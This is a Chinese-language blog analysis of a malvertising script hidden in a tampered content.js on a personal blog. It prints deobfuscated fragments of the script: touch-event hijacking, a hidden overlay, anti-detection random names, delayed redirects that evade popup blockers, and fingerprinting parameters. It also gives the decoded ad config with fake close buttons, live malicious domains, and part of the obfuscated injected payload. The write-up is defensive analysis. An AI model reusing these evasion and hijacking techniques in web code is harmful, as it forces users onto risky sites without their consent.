偶然间在一个个人博客网站,发现了一个诡异的广告,只要你往下滑动,就有概率触发跳转到第三方高风险网站,而在电脑上访问并没有广告,网络请求中竟然没有这个广告图...

我不是第一次遇到这种恶意广告,但是激发了我的好奇心,想一探究竟,解答当年我的困惑,由于自己并不太熟悉JS,尤其是这种经过了多次混淆加密的JS代码,为此混淆解密由Deepseek提供,我负责把请求、响应以及现象提供给AI

首先,广告样式如下

2025-04-20 15 54 17.png

所有请求链接中,按请求顺序,除开了一众统计接口、主网站外,那么第一个就是:https://20d6c7a886e3a8794dg.mernrza.com:8007

2025-04-20 15 59 41.png

mernrza.com这个请求进行Block,刷新页面,发现广告消失了,所以相关入口就在这个请求里

2025-04-20 16 04 09.png

分析/sc/5815?n=ziaxjatg代码

总体攻击流程如下

移动端访问 → UA/传感器检测 → 创建隐形DOM层 → 绑定全局触摸监听 → 采集设备指纹 → 构造动态参数 → 异步跳转高风险域名

全局对象全部随机名(通过动态变量名window[e]规避XSS检测)

    !function() {
  // 生成随机全局对象名(反检测)
  var e = Math.random().toString(36).substr(Math.floor(6*Math.random()+2)); 
  if(null==window[e]){
    var a=window[e]={}, r=0,c=0,d=0;
    // 核心功能定义...
  }
}();

生成广告区域

a.cLab = function(e) { // 创建隐藏节点
  return document.createElement(e); 
}

a.cSty = function(e) { // 动态注入CSS
  const n = document.createElement("style"); 
  n.innerHTML  = e.style;  // 注入混淆后的CSS规则
  document.head.appendChild(n); 
}

a.gImg = function(t) { // 生成广告图片层
  const c = a.cLab("div");
  c.className  = u; // 随机类名(如"xxxi")
  c.style  = "position:fixed;..."; // 绝对定位覆盖全屏
  document.body.appendChild(c); 
}

混淆加密模块

a.de  = function(e) { // 自定义字符替换加密
  const n = {e:"P",w:"D",...}; // 包含78个字符映射
  return e.split("").map(c=>n[c] ||c).join("");
}

a.rc  = function(e) { // 生成随机标识符
  const t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz";
  return Array(e).fill().map(()=>t.charAt(Math.random()*t.length)).join(""); 
}

劫持触摸事件

// 全局触摸监听(gImg函数内)
window.addEventListener("touchend",  function() {
  const e = event.changedTouches[0].clientY; 
  if (e < t.height)  { // 判断触摸位置在广告区域内
    a.open(t);  // 触发跳转
  }
});

// 碎片按钮劫持(img函数内)
c.addEventListener("touchend",  function() {
  e.type  = "good"; 
  a.open(e);  // 任意位置触摸均跳转
});

针对移动端弹广告

a.IsPC = function() { 
  // 关键检测逻辑
  return !!/^Win|Mac/.test(navigator.platform)  || 
    navigator.userAgent.indexOf("xxxxxxxxxx")  != 0;
}

跳转逻辑(多阶段混淆跳转)

a.open  = function(e) {
  // 参数构造(53个跟踪参数)
  let i = `/cc/${e.id}?is_not=${e.is_not}&se=${e.string}&interval=${Date.now()}&screen=${window.screen.width}*${screen.height}&history=${history.length}`; 
  
  // 双通道跳转(主框架/iframe)
  setTimeout(() => {
    top.location  != self.location  
      ? top.location  = e.purl2  + i + "&target=1"  // iframe内跳转
      : window.location.href  = e.purl2  + i + "&target=1"; // 主窗口跳转
  }, 20); // 20ms延迟规避弹窗拦截

  // 异步上报(伪装统计请求)
  setTimeout(() => {
    a.CScr(e.purl  + i + "&target=0"); // 加载远程脚本
  }, 1800);
}

其中这个JS脚本还加载了两个外部链接
其中https://2015dc.xweqmhv.com:8007/d/5815?t=0.02422307654768041返回的是加密文本

{
"key": "[\"6f\"gn{}n=\"dfXY5F6LY5MdfM6f\"g}n}0=\"6LM2OF\"g\"0\"=\"L64Y\"g\"}\"=\"^dFFY5\"g\"@0@o\\\/0{\\\/01}snnsKK0omFRF\"=\"J_5q\"g\"hFFJLg\\\/\\\/f(mRDY:^hXm(O^g{001\"=\"J_5q@\"g\"hFFJLg\\\/\\\/@0}nf(mRDY:^hXm(O^g{001\"=\"^_5q\"g\"hFFJLg\\\/\\\/fJ6(mR2**(45_@fRsYL4DsqdFns)m(O^\"=\"5YLY5XYMhY6phF\"g0=\"7dqLYM(qO\"g10=\"h6fMLFdFY\"g}=\"h6fMhY6phF\"g}{0=\"h6fM(q6(SM2_^\"g}0=\"h6fMJX2_^MLhOD\"g0=\"(O^MLFdFY\"g0=\"(O^MfY7Y5\"g0=\"(O^M(q6(SM2_^\"g}0=\"(O^MJX2_^MLhOD\"g0=\"(O^JYqMLS6J\"g0=\"(O^JYqMLS6JMfYqdT\"g0=\"LYOMLS6J\"g0=\"LYOMLS6JMfYqdT\"g0=\"JOL6F6O2\"g\"@\"=\"LFTqY\"g\"\"=\"q62S\"g\"hFFJLg\\\/\\\/f7LC[[DY)M6fPPmqpSRSm(2\\\/}smhF^q\"=\"6LMC6YR6\"g\"0\"=\"LFdF6LM(OfY\"g\"\"=\"YXYFTJY\"g\"FO_(hY2f\"=\"5YdfMF6^Y\"g}n00P",
"string": "YWR2ZXJ0aXNlcl9hZF9pZD0xNTEwJmFkdmVydGlzZXJfaWQ9MTUxMCZjb21wZWxfY2hhbmNlPTEwJmhpZF9jaGFuY2U9NzAmaXNfcmVmZXJyZXI9MSZsaW5rPWh0dHBzJTNBJTJGJTJGZGZzaiU3QiU3QndlYl9pZCU3RCU3RC5sZ2t4ay5jbiUyRjEzLmh0bWwmcG9zaXRpb25faWQ9MTEmcmV0dXJuX2NoYW5jZT0wJnRpbWU9MTc0NTEzNDM4NiZ0eXBlPTEmd2VibWFzdGVyX2FkX2lkPTU4MTUmd2VibWFzdGVyX2lkPTgwNTAma2V5PTA0ZTNiY2RhNTg3Zjc0NmEwZTI4ZGJmNzczZjY1MGVk"
}

把加密文本使用a.de()进行解密,得到第一部分信息——广告区域设置:

{
  "width": "100%",          // 广告层宽度适配屏幕
  "height": "120",          // 广告层高度(单位:px,根据屏幕动态计算)
  "hid_height": "30",       // 隐藏触发区域高度
  "is_not": "0",            // 是否新用户(0=新用户,1=老用户)
  "position": "1",          // 广告位置(1=顶部,0=底部)
  "open_n": "1",            // 当前展示次数(通过Cookie累加)
  "com_state": "1",         // 强制点击功能开关(1=启用)
  "com_click_num": "3",     // 强制点击触发次数阈值
  "com_defer": "3600",      // 强制点击Cookie有效期(秒)
  "hid_state": "1",         // 隐藏触发区域开关(1=启用)
  "hid_click_num": "2",     // 隐藏区域点击触发阈值
  "false_clo": "30",        // 虚假关闭按钮显示概率(30%)
  "compel_skip": "40",      // 强制跳转概率(40%)
  "compel_skip_delay": "5"  // 强制跳转延迟时间(5秒)
}

解密string字段(动态跳转参数)

advertiser_ad_id=1510&advertiser_id=1510&compel_chance=10&hid_chance=70&is_referrer=1
&link=https://dfsj{{web_id}}.lgkxk.cn/13.html&position_id=11&return_chance=0 
&time=1745134386&type=1&webmaster_ad_id=5815&webmaster_id=8050&key=04e3bcda587f746a0e28dbf773f650ed

其中
广告主信息:advertiser_ad_id=1510(广告ID),webmaster_id=8050(站长ID)
跳转逻辑:
link=https://dfsj{{web_id}}.lgkxk.cn/13.html (动态填充web_id的落地页,需二次跳转)
compel_chance=10(10%概率强制跳转)
hid_chance=70(70%概率隐藏区域触发跳转)
时间戳:time=1745134386 → 2025-04-20 15:39:46(与当前时间匹配)
密钥验证:key=04e3bcda587f746a0e28dbf773f650ed(用于服务端校验请求合法性)

经过多次重定向后,最终确定最后一个访问为:https://dpic.xn--czru2dx3eszw3lat53b.com/2024/08/07135551410.txt

2025-04-20 17 00 48.png

GIF的base64文件头正是R0lGODlh,也就是这个txt大概率就是展示的广告图

把文本复制出来,使用Base64解码得到

2025-04-20 17 02 51.png

那么这个广告是站长植入的,还是被恶意投放?
我留意到content.js这个文件不寻常,内容看起来不是普通的JS代码逻辑,并且在禁用该js后对网站没有任何负面影响,但是广告消除了

https://www.oryoy.com/static/blog-c/js/content.js

2025-04-20 17 30 08.png

代码是一个立即执行函数(IIFE)

!function() {
    // 定义函数 a 和变量 b,最后执行 new Function(b)()
}();

函数 a 的作用是对输入字符串进行字符替换

function a(a) {
    var b = { /* 字符映射表 */ };
    return a.split("").map(function(a) {
        return void 0 !== b[a] ? b[a] : a;
    }).join("");
}

变量 b 是一个对象,包含了字符到字符的映射关系

{
    "e": "P",
    "w": "D",
    "T": "y",
    "+": "J",
    ...
}

加密字符串的解码

变量 b 调用了函数 a,传入了一段加密字符串

var b = a(`PXSnQdPGHTl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28...)`);

动态执行解码后的代码

new Function(b)();

这不就是代码混淆吗?而且该网站是typecho模板做的,这是开源项目,并不涉及任何混淆代码。
至此可以确定,这个content.js就是被恶意投放的文件

总结一下,解答自己的疑惑
1、为什么请求中没有Gif图片
因为广告Gif图是写在txt里面,然后对图片进行base64解码后才拿到真实的图片,所以筛选图片看不到相关的信息

2、为什么移动端会展示而PC端不会,而且修改手机浏览器UA为电脑也会有广告
因为代码里检测了电池、触摸事件、传感器,屏幕比例,只要3个符合就视为移动端,此种判定方式更为精准

3、为什么这种广告没有被拦截(不管是dns还是广告拦截插件)
这是恶意广告,对真正的广告进行了多次重定向,混淆加密
动态域名:e.purl2 通过domainParts.join('') 拼接(如https://malware.example
行为伪装:添加Math.random() 和Date.now() 参数规避URL黑名单
多阶段触发:首次跳转后1800ms加载二次脚本(a.CScr动态插入\<script\>)
机器难以识别

4、为什么有些网站会有这些恶意广告
没有人愿意接这种破坏网站访问体验的广告,所以这些恶意广告都是在站长不知情的情况下被投放的。
比如CDN劫持(攻击者通过DNS欺骗或BGP劫持控制CDN节点,替换网站引用的静态资源比如js为携带恶意广告逻辑的版本)
XSS攻击(过评论、用户资料等UGC内容注入)
网络层中间人攻击(比如常见的跳转反诈网站,这本质也是一种中间人攻击)

至此,整个恶意广告的投放、加载都分析完毕了。作为站长,能做的就是要加强网站防御,作为用户,安装活跃的广告屏蔽插件比如ublock origin可以拦截此类恶意广告